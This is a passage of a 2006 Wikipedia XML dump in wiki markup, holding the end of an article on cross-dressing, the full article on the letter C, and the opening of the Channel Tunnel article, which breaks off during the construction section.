A new meaning for the term &quot;cross-dressing&quot; has appeared in the African-American community, where it is used to refer to wearing two different name brands of clothing simultaneously. For example, a [[Tommy Hilfiger]] hat and [[FUBU]] jacket might be referred to as &quot;cross dressing.&quot; This use of the term is exclusively negative. While far removed from the original meaning, this usage is increasingly common and can lead to confusion among those used to more traditional meanings of the term.

==Varieties of cross-dressing==
There are many different kinds of cross-dressing, and many different reasons why an individual might engage in cross-dressing behavior.  The following examples are by no means an exhaustive list.

Some people cross-dress as a matter of comfort or style.  They have a preference towards clothing which is only marketed to or associated with the opposite sex.  In this case, a person's cross-dressing may or may not be visible to other people.

Some people cross-dress in order to shock others or challenge [[Norm (sociology)|social norms]].
 
Both men and women may cross-dress in order to disguise their true identity.  Historically, some women have cross-dressed in order to take up male-dominated or male-exclusive professions, such as military service.  Conversely, some men have cross-dressed in order to escape from mandatory military service.

Single-sex theatrical troupes often have some performers cross-dress in order to play roles written for members of the opposite sex.  Cross-dressing is often used for comic effect onstage and onscreen.

'''[[drag_(clothing)|Drag]]''' is special form of performance art based on cross-dressing.  A '''[[drag queen]]''' is a male-bodied person who performs as an exaggeratedly feminine character, in an elaborate costume usually consisting of a gaudy dress and high-heeled shoes, heavy makeup, and a large [[wig]].  A drag queen may imitate famous female film or pop-music stars.  (See also [[RuPaul]])

A '''[[drag king]]''' is the counterpart of the drag queen &amp;mdash; a female-bodied person who adopts an exaggerated masculine persona in performance or who imitates a male film or pop-music star. Some female-bodied people undergoing [[gender reassignment therapy]] also self-identify as ''drag kings'', although this use of &quot;drag king&quot; is considered inaccurate by some. 

Many transgendered people cross-dress relative to their birth sex, but transgendered people who have undergone gender reassignment therapy are usually not regarded as cross-dressing.  See [[transvestism]].

A [[transvestic fetishism|transvestic fetishist]] is a person (typically a [[heterosexual]] male) who cross-dresses as part of a [[sexual fetish]].

The term ''underdressing'' is used by male cross-dressers to describe wearing female undergarments under their male clothes.

Some people who cross-dress may endeavor to project a complete impression of belonging to another gender, down to [[mannerism]]s, [[speech]] patterns, and emulation of [[Sex-determination system|sexual characteristics]]. This is referred to as &quot;trying to [[passing|pass]]&quot;.  Others may choose to take a mixed approach, adopting some feminine traits and some masculine traits in their appearance.  For instance, a man might wear both a [[dress]] and a [[beard]]. This is sometimes known as ''[[genderfuck]]''.  Finally, for some the motivation for cross-dressing is to undermine the idea that any article of clothing is &quot;only for men&quot; or &quot;only for women.&quot;  These people may broadly mix clothing from both genders, in a practice called [[freestyle dressing|freestyle]].

==Clothes==
The actual determination of cross-dressing is largely [[socially constructed]]. For example, in Western society, trousers have been adopted for wear by women.  This is generally ''not'' regarded as cross-dressing.  In cultures where men have traditionally worn skirt-like garments such as the [[kilt]] or [[sarong]] these are not seen as female clothing, and wearing them is not seen as cross-dressing for men.

As societies are becoming more global in nature, both men and women are adopting styles of dress associated with other cultures.  Surfers in California have begun wearing sarongs and pareos as an after-surfing wrap, and men throughout the U.S., including those involved in construction and outdoor sports, such as kayaking or hiking, have begun wearing skirts and kilts, such as the [http://www.macabiskirt.com/mens_home.php/ Macabi Skirt], the [http://www.utilikilt.com/ Utilikilt], and other hiking kilts.  The Macabi Skirt in particular has won rave reviews by various backpacking and outdoor magazines.  [http://www.backpackgeartest.org/reviews/Clothing/Skirts%20and%20Kilts/ Reviews - Macabi Skirt for Men]

===&quot;Equal Clothing Rights&quot;===
It was once [[taboo]] in Western society for women to wear clothes traditionally associated with men.  It is specifically cited as an &quot;abomination&quot; in the Bible in the book of [[Deuteronomy]] (22:5). This is no longer the case and Western women are often seen wearing trousers, ties, and men's hats. Nevertheless, many cultures around the world still prohibit women from wearing trousers or other traditionally male clothing.

In most parts of the world it is still generally considered taboo for a man to wear clothes traditionally associated with women.  Many people perceive this as hypocrisy and an imbalance in the [[social equality|equality]] of men and women in society and believe that men should not have to suffer discrimination for wanting to wear dresses or skirts. This issue is often labeled as &quot;equal clothing rights,&quot; which has gained a significant movement around the world.
In fact, some men who wear skirts or similar garments contend that they are simply wearing masculine clothes that currently aren't in fashion; they may call themselves &quot;bravehearts&quot; after the 1995 film ''[[Braveheart]]'', which depicted a leading man in a Saxon kilt.&lt;sup&gt;[http://www.kiltmen.com/]&lt;/sup&gt;

Another element of equal clothing rights is resistance to one's own traditional gender-mandated clothing.  For instance, men may resist wearing neckties or women resist wearing skirts as part of a workplace uniform.

==Analyses==

===Female-bodied cross-dressers===

The behaviour of women in general has historically often received less attention than that of men, and cross-dressing is no exception. However, there are some famous examples of cross-dressing female-bodied persons in history (see Famous historical examples of cross-dressing people below).

Cross-dressing among women in modern Western societies seems to be rare.  Yet the question of how many people cross-dress is difficult to answer, as it depends on social norms that change over time.  When only a few women in the West wore trousers, women in trousers were considered to be cross-dressing.  As more women began to wear trousers, the style gained mainstream social acceptance.  Trousers are now no longer considered for men only.  This broadening of clothing types considered &quot;normal&quot; for women has made cross-dressing behavior in women more difficult to identify.  A woman might wear men's shirts, trousers, and underwear without anyone recognizing that she is cross-dressing, as very similar clothing items are produced for women.

===The classic psychoanalytic view===
Classic psychoanalytic views of cross-dressing emphasized the role of [[taboo]] in the behavior.  Only items that were proscribed to a gender would be appropriated, and therefore it is not the general association of an item with one sex or the other but the prohibitions against the item that give satisfaction to those with a [[fetish]] attachment to cross-dressing. According to this theory, as articles become acceptable for ordinary wear (e.g. a man's [[necktie]] on a woman, which passed from taboo to fashion in the [[1970s]]) they will cease to be sought by cross-dressers.

===The problem of attributing motives for cross-dressing===
When speaking of historical figures, when cross-dressing is not clearly related to specific events (like an escape or disguise) it is usually impossible to state clearly what the motives for cross-dressing were.  This information was rarely recorded or preserved.  Documents on the subject are often either [[court]] records (where the cross-dressing person may have said whatever they thought would minimize their punishment) or accounts by other people who might not understand the motivations correctly. Furthermore, historic figures were often unable to identify themselves as homosexual, transgender, [[transsexual]], or transvestite because these classifications simply had no names or social recognition in their era.

It can be equally difficult to be certain of the motives of modern day people who cross-dress. The only real proof of motive is that person's own statement.  Yet even this is not always certain, as there are examples of people attributing their cross-dressing behaviour to one motive only to later realize that they may have had another reason. The classical example of this would be a transsexual person who initially attributed cross-dressing behaviour to transvestic fetishism (for transwomen) or the utilitarian practicality of male clothing (for transmen).

==Some famous examples of cross-dressing==
[[Image:Thor and loki in drag.jpg|right|thumb|[[Thor]] and [[Loki]] in drag]]

===In Greek mythology===

* [[Achilles]], dressed in women's clothing at the court of [[Lycomedes]]

===In Norse mythology===

*[[Thor]] dressed as [[Freya]] in order to get [[Mjölnir]] back in [[Thrymskvida]].
*[[Hagbard]] in the Scandinavian legend of [[Hagbard and Signy]] (the [[Romeo and Juliet]] of the [[Viking]]s). After having slain Signy's brothers and suitors, Hagbard was no longer welcome in the hall of Signy's father [[Sigar]]. Hagbard then dressed up as one of his brother [[Haki]]'s [[shieldmaiden]]s in order to have access to the chambers of his beloved. When the handmaidens washed his legs, they asked him why they were so furry and why his hands were so callous. Because of this, he invented a clever verse to explain his strange appearance. Signy, however, who understood that it was Hagbard who had come to see her, explained to the maidens that his verse was truthful. Hagbard was, however, deceived by the handmaidens and he was arrested by Sigar's warriors. Hagbard was hanged and Signy committed suicide as Hagbard watched from the gallows.
*[[Hervor]] from [[Hervarar saga]]. When Hervor learnt that her father had been the infamous Swedish beserker [[Arngrim]], she dressed as a man, called herself Hjörvard and lived for a long time as a Viking.

===Famous historical examples of cross-dressing people===
Famous historical examples of cross-dressing people include:
[[Image:Dorothy.Lawrence.soldier.jpg|right|thumb|[[World War I|First World War]] photograph of English war reporter [[Dorothy Lawrence]] who secretly posed as a man to become a soldier.]]
*The [[legend]] of [[Pope Joan]] alleges that she was a promiscuous female [[pope]] who dressed like a man and reigned from [[855]] to [[858]]. Modern [[historian|historians]] regard her as a [[urban legend|myth]]ical figure who originated from [[13th century]] anti-papal [[satire]].
*[[Joan of Arc]] was a [[15th century]] [[France|French]] peasant girl who joined French armies against [[England|English]] forces fighting in France during the latter part of the [[Hundred Years' War]]. She is a French national heroine and a [[Roman Catholic Church|Catholic]] [[saint]]. After being captured by the English, she was burned at the stake upon being convicted by a religious court, with the act of dressing in male clothing being cited as one of the principal reasons for her [[execution (legal)|execution]]. A number of witnesses, however, testified that she had said she wore male clothing (consisting of two layers of pants attached to the doublet with twenty fasteners) because she feared the guards would rape her at night.[http://archive.joan-of-arc.org/joanofarc_male_clothing.html] 
*[[Pope Paul II]], Catholic pope known to have worn women's clothes and was nicknamed &quot;Our Lady of Pity&quot;
*[[Anne Bonny]] and [[Mary Read]] were late [[17th century]] [[pirate]]s. Bonny in particular gained significant notoriety, but both were eventually captured. Unlike the rest of the male crew, Bonny and Read were not immediately executed because Read was [[pregnant]] and Bonny claimed to be [[pregnant]] as well.
*Charles-Geneviève-Louis-Auguste-André-Timothée Éon de Beaumont ([[1728]]-[[1810]]), usually known as the [[Chevalier d'Eon]], was a French [[diplomat]] and [[soldier]] who lived the first half of his life as a man and the second half as a woman. In [[1771]] he claimed that physically he was not a man, but a woman, having been brought up as a man only. From then on s/he lived as a woman. On her/his [[death]] it was discovered that her/his body was anatomically male. 
*[[George Sand]] is the [[pseudonym]] of Amandine-Aurore-Lucile Dupin, an early [[19th century]] French [[novelist]] who preferred to wear men's [[clothing]] exclusively. In her [[autobiography]], she explains in length the various aspects of how she experienced cross-dressing.
*[[Dorothy Lawrence]] was an [[England|English]] [[War correspondent|war reporter]] who [[disguise]]d herself as a man so she could become a [[soldier]] in [[World War I]].
*[[Rrose Sélavy]], the feminine alter-ego of the late French artist, [[Marcel Duchamp]], remains one of the most complex and pervasive pieces in the enigmatic puzzle of the artist's oeuvre. She first emerged in portraits made by the photographer [[Man Ray]] in New York in the early 1920s, when Duchamp and Man Ray were collaborating on a number of conceptual photographic works. Rrose Sélavy lived on as the person to whom Duchamp attributed specific works of art, [[Readymade|Readymades]], puns, and writings throughout his career. By creating for himself this female persona whose attributes are beauty and eroticism, he deliberately and characteristically complicated the understanding of his ideas and motives.
*[[Billy Tipton]] was a notable jazz pianist and saxophonist in the United States during the [[Great Depression]].  He was born Dorothy Lucille Tipton in [[1914]], but began living as a man in the 1930s.  He was married five times to women, and adopted three boys.  He led a full career as a musician and, in later life, as an entertainment agent.  Other than his birth family, no one knew of his birth sex or cross-living until after his death in [[1989]].
*[[Willmer &quot;Little Ax&quot; Broadnax]] was a lead singer in several important [[gospel]] quartets, most famously the [[Spirit of Memphis Quartet]].  When he died in 1994, it was discovered that he was  female bodied.
* Because female enlistment was barred, many women fought for both the Union and the Confederacy during the [[American Civil War]] while dressed as men.
* [[Edward Hyde, 3rd Earl of Clarendon]], colonial governor of [[New York]] and [[New Jersey]] in the early [[1700s]] is reported to have enjoyed going out wearing his wife's clothing, but this is disputed. [http://www.straightdope.com/columns/020125.html]
* The Chinese legend of [[Hua Mulan]], and the Disney movie [[Mulan]] derived from it, feature a cross-dressing heroine.

=== Cultural examples of cross-dressing ===
Cross-dressing is the subject of many works of [[literature]] and plays a significant role in [[popular culture]]. References to cross-dressing are frequently used for comic effect.

====Film and television====
{{main|Cross-dressing in film and television}}

====Internet====
The explosion of the [[Internet]] and the [[World Wide Web]] has provided new opportunities for cross-dressing people to express themselves.  Numerous websites cater to cross-dressing men by providing dresses, shoes, and other feminine accessories in larger men's sizes.  In addition, the Internet has given many cross-dressers a safe forum for sharing photos and stories (see [[Fictionmania]]).

====Animation====
[[Bugs Bunny]] occasionally engages in cross-dressing, usually to confound a foe.  His transformation is typically so effective that his adversaries (especially one [[Elmer Fudd]]), who moments earlier had been trying to kill him, are smitten by his &quot;feminine charm.&quot;

The film [[Revolutionary Girl Utena]] (also known as &amp;#23569;&amp;#22899;&amp;#38761;&amp;#21629;&amp;#12454;&amp;#12486;&amp;#12490;&amp;#12288;''Sh&amp;#333;jo Kakumei Utena'') is perhaps one of the best-known examples of  [[Japan|Japanese]] [[animation]] involving cross-dressing.  The female protagonist, Utena Tenjou, cross-dresses as a result of her desire to be a heroic prince.

====Comics====

In the Japanese comic book series [[Urusei Yatsura]] (1978-1987) created by Rumiko Takahashi and published by Shogakukan, a girl character named Rynosuke wears a white shirt with the Chinese ideogram for &quot;male&quot; on the back of her shirt along with pants, along with other male attire as part of her father's misguided insistence that his child is a male. More recently, in the Japanese action comic [[Gunslinger Girl]] (2003), published in the United States by ADV, one girl character brainwashed to be an assassin, takes pleasure in wearing a men's style suit and tie.

====Theater====
[[David Henry Hwang]]'s [[1988]] play ''[[M. Butterfly]]'' focuses on a love affair between a [[France|French]] diplomat and a male [[Beijing]] opera singer who plays ''dan'' (&amp;#26086;), or female, roles.

The [[Takarazuka Revue]] is a group of six associated all-female Japanese acting troupes, known for their elaborate productions of stage musicals.  Takarazuka actresses may specialize in either male or female roles, but the most popular stars tend to be those who play male characters.

Beethovens' only opera, [[Fidelio]], involves the story of a woman who disguises herself as a young man as part of a plan to rescue her husband from prison.

In the musical [[Rent]], Angel is an example of a modern drag queen.
{{sectstub}}

== See also ==
* [[List of transgender-related topics]]
* [[Breeches role]]
* [[Crossdressing During Wartime]]
* [[Tri-Ess]]
* [[En femme]]

== References and further reading ==
* Rudolf M. Dekker, Lotte C. Van De Pol, Lotte C. Van De Pol, ''The Tradition of Female Transvestism in Early Modern Europe'', 1989, ISBN 0-312-173342.
* Peggy J. Rudd, ''Crossdressing With Dignity : The Case For Transcending Gender Lines'', PM Publishers, Inc., [[1999]]. ISBN 0962676268.
* Charles Anders, ''The Lazy Crossdresser'', [[Greenery Press]], 2002. ISBN 1890159379.
* Lacey Leigh, ''Out &amp; About: The Emancipated Crossdresser'', Double Star Press, 2002. ISBN 0971668000.

==External links==
* [http://arthur-ransome.org/ar/literary/pyrates.htm Mary Read and Anne Bonny]
* [http://www.kirjasto.sci.fi/deon.htm Charles d'Eon de Beaumont]
* [http://www.maskon.com/marti/gallery.htm A gallery of female maskers]
* [http://personal.telefonica.terra.es/web/tmap/index.htm An index of cross-dressing and gender-related transformations in Manga and Anime]
* [http://www.outlawwomen.com/WomenSoldiersoftheCivilWar.htm Women Soldiers of the Civil War]
* [http://ourworld.compuserve.com/homepages/cathytg/anima.htm Jung's Anima Theory and How it Relates to Crossdressing]

[[Category:Transgender people and behavior]]
[[Category:Sexual orientation and identity]]

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[[fa:مبدل‌پوشی]]
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  </page>
  <page>
    <title>C</title>
    <id>5701</id>
    <revision>
      <id>41533952</id>
      <timestamp>2006-02-28T00:11:51Z</timestamp>
      <contributor>
        <username>Cameron Nedland</username>
        <id>652628</id>
      </contributor>
      <minor />
      <text xml:space="preserve">{{Otheruses1|the letter C itself}}
{{dablink|'''C#''' redirects here. Due to technical limitations, the article on the C# programming language is located at [[C Sharp]]. For information about the musical note C♯, see [[musical notation]]}}
{{AZ|uc=C|lc=c}}
[[Image:Copyright.svg|thumb|100px|'''C''' in Copyright mark]]
'''C''' (lowercase '''c''') is the third letter of the [[Roman alphabet]]. Its name in [[English language|English]] is ''cee'' ([[IPA]] [si:]). 

In the [[Etruscan language]], [[plosive consonant]]s had no contrastive [[phonation|voicing]], so the [[Greek language|Greek]] [[Gamma|&amp;Gamma;]] (Gamma) was used to represent /k/. In the beginning, the Romans used C for both /k/ and /g/, only later adding a horizontal bar at right-center to produce [[G]].
It is possible but uncertain that C represented only /g/ at an even earlier time, while [[K]] might have been used for /k/. 

Some scholars claim that the Semitic [[Gimel (letter)|&amp;#1490;]] (gîmel) pictured  a camel, but most assume it was probably ''gaml'' (a throwing stick/[[boomerang]]).

Other alphabets have letters identical to C in form but not in use and derivation, in particular the [[Cyrillic alphabet|Cyrillic]] letter [[Es (cyrillic)|Es]] which derives from one form of the [[Greek alphabet|Greek]] letter [[sigma (letter)|sigma]], known as the &quot;lunate sigma&quot; from its resemblance to a crescent moon.

==Phonetic use==
/k/ developed [[palatal consonant|palatal]] and [[velar consonant|velar]] [[allophone]]s in [[Latin]], probably due to Etruscan influence. The [[Romance languages]] and [[English language|English]] have a common feature inherited from [[Vulgar Latin]] where C takes on either a &quot;hard&quot; or &quot;soft&quot; value depending on the following vowel. In English and [[French language|French]], C takes the &quot;hard&quot; value [[voiceless velar plosive|{{IPA|/k/}}]] finally and before A, O, and U, and the &quot;soft&quot; value [[voiceless alveolar fricative|{{IPA|/s/}}]] before E, I, or Y. [[Romance languages]] obey similar rules, but the soft value is different in several languages, taking on [[voiceless dental fricative|/&amp;#952;/]] in European [[Spanish language|Castilian]] and {{IPA|/&amp;#679;/}} (like English CH) in [[Italian language|Italian]] and [[Romanian language|Romanian]].

Other languages use C with different values, such as {{IPA|/k/}} regardless of position in [[Irish language|Irish]], [[Welsh language|Welsh]], {{IPA|/&amp;#952;/}} in [[Fijian language|Fijian]], {{IPA|/&amp;#676;/}} in [[Turkish language|Turkish]], [[Tatar language|Tatar]], [[Azeri language|Azeri]], {{IPA|/ʧ/}} in [[Tagalog]], [[Bahasa Indonesia]], {{IPA|/&amp;#678;/}} in [[Czech language|Czech]], [[Croatian language|Croatian]], [[Esperanto]], [[Hungarian language|Hungarian]], [[Polish language|Polish]], [[Pinyin|Romanized]] [[Chinese language|Chinese]], [[Serbian language|Serbian]], [[Latvian language| Latvian]].

There are several common digraphs with C, the most common being CH, which in some languages such as [[German language|German]] is far more common than C alone. In English, CH most commonly takes the value {{IPA|/&amp;#679;/}}, but can take the value {{IPA|/k/}} or [[voiceless velar fricative|{{IPA|/x/}}]], usually when transliterating [[Greek language|Greek]] &amp;Chi; or Hebrew. CH takes various values in other languages, such as [[Voiceless palatal fricative|{{IPA|/ç/}}]], {{IPA|/k/}}, or {{IPA|/x/}} in German, [[Voiceless postalveolar fricative|{{IPA|/&amp;#643;/}}]] in [[French language|French]], {{IPA|/k/}} in Italian, {{IPA|/&amp;#648;&amp;#642;&amp;#688;/}} in [[Mandarin Chinese]], and so forth. CK, with the value {{IPA|/k/}}, is often used after short vowels in [[Germanic languages]] such as English, German and [[Swedish language|Swedish]] (but some other Germanic languages use KK instead, such as [[Dutch language|Dutch]] and [[Norwegian language|Norwegian]]). The digraph CZ is found in Polish and CS in Hungarian, both representing {{IPA|/&amp;#679;/}}.  In Old English, sc made the |{{IPA|/&amp;#643;/}}]].

As a [[phonetic]] symbol, lowercase c is the [[International Phonetic Alphabet]] and [[X-SAMPA]] symbol for the [[voiceless palatal plosive]], and capital C is the [[X-SAMPA]] symbol for the [[voiceless palatal fricative]].

==Codes for computing==
{{Letter
|NATO=Charlie
|Morse=–·–·
|B1=●
|B2=○
|B3=○
|B4=●
|B5=○
|B6=○
}}
In [[Unicode]] the [[majuscule|capital]] C is codepoint U+0043 and the [[minuscule|lowercase]] c is U+0063.

The [[ASCII]] code for capital C is 67 and for lowercase c is 99; or in [[Binary numeral system|binary]] 01000011 and 01100011, respectively.

The [[EBCDIC]] code for capital C is 195 and for lowercase c is 131.

The [[numeric character reference]]s in [[HTML]] and [[XML]] are &quot;&lt;tt&gt;&amp;amp;#67;&lt;/tt&gt;&quot; and &quot;&lt;tt&gt;&amp;amp;#99;&lt;/tt&gt;&quot; for upper and lower case respectively.

==Meanings for C==
* A c with a bar over it is an abbreviation for the [[Latin]] word &quot;cum&quot;, meaning &quot;with&quot;.
* In [[anatomy]], C means [[cervical]] (cervix meaning &quot;neck&quot;), as in C-spine, or written with a number refers to a numbered [[Cervical vertebrae|cervical vertebra]] ([[C1]] to [[C7]]) or cervical [[spinal nerve]] (C1 - C8)
* In [[astronomy]],
** C stands for comet (long period), as in [[C/1957 P1]] (Comet Mrkos).
** C stands for a February 1 through 15 discovery, in the provisional designation of a comet (e.g. [[C/1962 C1]], Comet Seki-Lines) or asteroid (e.g. [[(3950) 1986 CH]]).
* In [[baseball]], C is the abbreviation for the position of [[catcher]].
* In [[basketball]], C is the abbreviation for the position of [[center (basketball)|center]].
* In [[biochemistry]], C is the symbol for the [[amino acid]] [[cysteine]] and the nitrogenous [[nucleic acid]] base [[cytosine]].
* [[Brassiere cup size]] '''C'''
* In [[business]], C is a &quot;creation&quot; initial. It is used for the company name etc. in many Japanese companies.
* In [[Canada|Canadian]] [[television]], the '''C''' [[Television rating system|rating]] indicates a program intended to be viewed by children.
* In [[chemistry]], C is the symbol for [[carbon]].
* In the [[CMYK]] [[color model]], C stands for the color [[cyan]].
* In [[communication]], c is an [[abbreviation]] for the word &quot;see&quot; in [[Short message service|SMS]] or [[instant message]].
* In [[computing]],
** C denotes the [[C programming language]]. Several of its derivatives have names including the letter C, for example [[C++]], [[Objective-C]], and [[C Sharp programming language | C#]].
** C is a security division (&quot;Discretionary Protection&quot;) in the [[TCSEC]].
* In [[currency]], c or ¢ (c with a vertical or slanted bar through it) means [[Cent (currency)|cent]].
* In [[economics]], C is usually used to represent [[consumption]].
* In [[education]], C is an average [[Grade (education)|grade]].
* In [[electrical engineering]],
** ''C'' is the control grid bias power supply (originally a battery) of [[vacuum tube]] circuitry.
** ''C'' is the [[variable]] for [[capacitance]], and is used to label [[capacitor]]s on [[schematic]]s.
** C is a standard size of dry-cell [[battery (electricity)|battery]].
* In [[espionage]], C is the head of [[MI6]].
* In [[finance]], C is the [[New York Stock Exchange]] [[ticker symbol]] for [[Citigroup]].
* In [[gold]], C is the abbreviation for [[Carat (purity)|Carat]].
* In [[hardware]], a [[C-clamp]] is a type of [[fastener]], so called because its shape resembles the capital&amp;nbsp;C.
* In [[history]], c is an abbreviation for ''circa''. When used with years, it means about (e.g., &quot;c. 1500&quot; means around the year [[1500]]).
* In [[international relations]], C sometimes represents the [[Commonwealth of Nations]].
* In [[List of international license plate codes|international licence plate codes]], C stands for [[Cuba]].
* In [[paper size|international paper sizes]], C is a series of sizes with an aspect ratio of roughly 70% width to height.  This series is primarily used for [[envelope]]s.
* In [[mathematics]], 
** C is often used as a [[numerical digit|digit]] meaning ''[[twelve]]'' in [[hexadecimal]] and other positional [[numeral system]]s with a [[radix]] of 13 or greater.
** [[Blackboard bold]] (double-struck capital C) &lt;math&gt;\mathbb{C}&lt;/math&gt; (Unicode {{uplusfirst}}2102 &quot;ℂ&quot;) denotes the set of all [[complex number]]s.
** C with indices denotes the number of [[combination]]s, a [[binomial coefficient]].
** [[Blackletter]] &lt;math&gt;\mathfrak c&lt;/math&gt; (Unicode U+212D &quot;ℭ&quot;) denotes the first [[beth number]]: the [[cardinality]] of the set of real numbers (the &quot;continuum&quot;), or of the [[power set]] of [[natural numbers]]. 
** ''C''&lt;sup&gt;''n''&lt;/sup&gt; and ''C''&lt;sup&gt;&amp;infin;&lt;/sup&gt; are notions of [[smooth function|smooth functions]], meaning &quot;continuously differentiable ''n'' times&quot; and &quot;infinitely differentiable&quot;, respectively.
* In [[metrology]], c is the symbol for the [[cup (unit)|cup]], a unit of measurement of volume, used in cooking recipes in several countries.
* In [[Microsoft Windows]], [[Ctrl]]-C, (in [[Mac OS]], Command-C) [[copy and paste|copies]] the selected text, image or sound and places it on the [[clipboard]].
* In [[music]], C is a [[note]]; see also [[Middle C]]
* In [[nutrition]], C is a [[vitamin]]; see [[Vitamin C]]
* In [[physics]],
** ''c'' is the [[speed of light|speed of light in vacuum]].
** ''c'' can also be used for the [[speed of sound]].
** c is the symbol of the charm [[quark]].
* As the first letter of a [[postal code]],
** In [[Canada]], C stands for [[Prince Edward Island]].
* In [[publishing]], c with an enclosing circle, ©, denotes [[copyright]]
* In [[rail transport]], C is the [[UIC classification]] for the [[railroad]] [[locomotive]] [[wheel arrangement]] known as [[0-6-0]] in the [[Whyte notation]]; a locomotive with three powered axles (and thus six wheels) in which the axles are linked by gearing or [[side rod]]s.
* In [[Roman naming convention]], C is the abbreviation for the [[praenomen]] Gaius.
* In [[Roman numerals]], C denotes one [[100 (number)|hundred]] (''centum'' in [[Latin]]; there are also separate [[Unicode]] characters for this number, U+216D &quot;Ⅽ&quot; and U+217D &quot;ⅽ&quot;).
* On the serial numbers of [[United States dollar]]s, C identifies the [[Federal Reserve Bank of Philadelphia]].
* In the [[SI]] system, 
** c, [[centi]], is an [[SI prefix]] meaning 1/100.
** C is the symbol for [[coulomb]], the [[SI derived unit]] for [[electric charge]].
* In [[temperature]], °C is the symbol for degrees [[Celsius]] (there is also a separate [[Unicode]] character for this symbol, U+2103 &quot;℃&quot;).
* In terminals under [[Unix]]-like operating systems, Ctrl-C sends the [[SIGINT (POSIX)|INT]] [[signal (computing)|signal]].
* As a [[timezone]], C is the military designation for UTC+3, also known as MSK or Moscow Time.

==See also==
*[[cedilla|Ç]], [[C-circumflex|&amp;#264;]], [[Cent (currency)|¢]], [[Č]], [[Ć]]
*&amp;#1057; : [[Es (Cyrillic)]]

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[[Category:Latin letters]]

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  <page>
    <title>Channel Tunnel</title>
    <id>5702</id>
    <revision>
      <id>42055477</id>
      <timestamp>2006-03-03T14:20:07Z</timestamp>
      <contributor>
        <username>Corti</username>
        <id>74856</id>
      </contributor>
      <comment>Revert to revision 41969205 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">[[Image:Chunnel_06.jpg|right|thumb|250px|Channel Tunnel. Drawing shows (left to right) a [[Eurotunnel Shuttle]], a vehicle in the service tunnel and a [[Eurostar]] highspeed passenger train.]]
[[Image:Channel_Tunnel_Terminal.jpg|right|thumb|250px|The British terminal at Cheriton, from the [[Pilgrims' Way]].]]

The '''Channel Tunnel''' or '''Euro Tunnel''', ([[French language|French]]: ''le ''' tunnel sous la Manche'''''; popularly nicknamed the '''Chunnel''' in [[English language|English]], although this has been largely abandoned in favour of '''the Channel Tunnel''') is a 50-km-long (31 imperial miles) [[rail transport|rail]] [[tunnel]] beneath the [[English Channel]] at the [[Straits of Dover]], connecting [[Cheriton, Kent|Cheriton]] in [[Kent]], the [[United Kingdom]], and [[Coquelles]] near [[Calais]] in northern [[France]]. A long-standing and hugely expensive project that saw several false starts, it was finally completed in 1994. It is the second-longest rail tunnel in the world, surpassed only by the [[Seikan Tunnel]] in [[Japan]]. It is operated by [[Eurotunnel|Eurotunnel]].

==Historical attempts or proposals for a tunnel==
A link between [[Great Britain]] and [[continental Europe]] had been proposed on many occasions.  
* 1802 Albert Matthieu-Favier, a French engineer, put forward a proposal for a tunnel. Passengers would travel through the tunnel in horse-drawn coaches, the road would be lit by oil-lamps and a mid-tunnel island would have provided a fresh-air respite for the horses. The cost would have been one million pounds (about £64.4 million in 2004 [http://eh.net/hmit/ppowerbp/result.php?year_early=1802&amp;use%5B%5D=CPI&amp;pound71=1000000&amp;shilling71=&amp;pence71=&amp;amount=1000000&amp;year_source=1802&amp;year_result=2004]).
* 1875 [[Peter W. Barlow|Peter William Barlow]], who had worked extensively on [[London Underground|the world's first underground railway]], suggested a floating steel tube across the Channel. The idea was rejected.
** French &amp; British Parliamentary bills passed to build the tunnel. Insufficient funds raised and the concession ran out a year later.
* 1876 Extensive geological survey carried out; French sink two shafts.
* 1880 The [[South Eastern Railway]] (SER) arranges trial borings on the British side.
* 1881 Patented (Beaumont) boring machine drives a tunnel 897 yards (820 m) parallel to cliffs on the British side.
** Work begins by (SER) on Channel Tunnel; again insufficient funds. ''Submarine Continental Railway Company'' set up.
* 1882 Rival ''Channel Tunnel Company'' causes a rift in proceedings; adverse comments by media and an influential group (including [[Robert Browning]] and [[Alfred Lord Tennyson]]). Eventually work was halted by the Board of Trade because of military objections: the ease with which invaders could attack from the Continent was cited.  
* 1922 Workers started boring a tunnel from Folkestone: after 400 ft (128 m) of tunnel had been completed, political objections again brought the project to an end.

It was not until the twentieth century that engineers came to believe that the necessary technical ability was available.  After [[World War II]] the concept of the tunnel began to receive serious attention.

===Second tunnel===
[[As of 2005]], the British and French governments are investigating the possibility of a second tunnel through the Channel, as required in the original treaty, but the economic case for such a tunnel has not been made.  The planning has not progressed past the feasibility stage.

==The current tunnel==
===Planning===
In 1957 le Tunnel sous la Manche Study Group was formed. It reported in 1960 and recommended two main railway tunnels and a smaller service tunnel. The project was launched in 1973 but folded due to financial problems in 1975 after the construction of a 250 metre test tunnel.

In 1984 the idea was relaunched with a joint [[United Kingdom|British]] and [[France|French]] government request for proposals to build a privately-funded link. Of the four submissions received, the one most closely resembling the 1973 plan was chosen, and announced on [[20 January]] [[1986]]. The [[Fixed Link Treaty]] was signed by the two governments in [[Canterbury, Kent|Canterbury]], [[Kent]] on [[12 February]] [[1986]] and ratified in 1987.

The planned route of the tunnel took it from [[Calais]] to [[Folkestone]] (a route rather longer than the shortest possible crossing) and the tunnel  follows a single chalk [[stratum]], which meant the tunnel was deeper than the previous attempt.  For much of its route the tunnel is nearly 40 m (130 ft) under the seafloor, with the southern section being deeper than the northern.

===Construction===
Digging the tunnel took 15,000 workers over seven years, with tunnelling operations conducted simultaneously from both ends. The prime contractor for the construction was the Anglo-French [[TransManche Link]], a consortium of ten construction companies and five banks of the two countries. Engineers used large [[tunnel boring machine]]s (TBMs), mobile excavation factories that combined drilling, material removal, and the process of shoring up the soft and permeable tunnel walls with a concrete liner. After the British and French TBMs met near the middle, the French TBM was dismantled while the British one was diverted into the rock and abandoned. Almost 4 million cubic metres of chalk were excavated on the British side, much of which was dumped below Shakespeare Cliff near Folkestone to reclaim 90 acres (360,000 m&amp;sup2;) of land from the sea. Called Samphire Hoe, the area is now a popular park. In all, 8 million m³ of soil were removed, at an average rate of 2400 tonnes/hour.

The Channel Tunnel consists of three parallel tunnels: two rail tunnels, which carry trains north and south, and a smaller access tunnel. The access tunnel, served by narrow rubber-tyred vehicles, is connected by cross-passages to the main tunnels at intervals of approximately 375&amp;nbsp;m. It allows maintenance workers access to the rail tunnels and provides a safe route for escape during emergencies.  The two running tunnels are directly linked every 250&amp;nbsp;m by pressure relief ducts (PRDs) that pass over the top of the service tunnel and do not connect to it.  The PRDs alleviate the piston effect of trains by allowing airflow from moving trains to pass into the other running tunnel.  Both types of cross-connection (cross-passage and PRD) can be seen in the schematic at the top of this page.

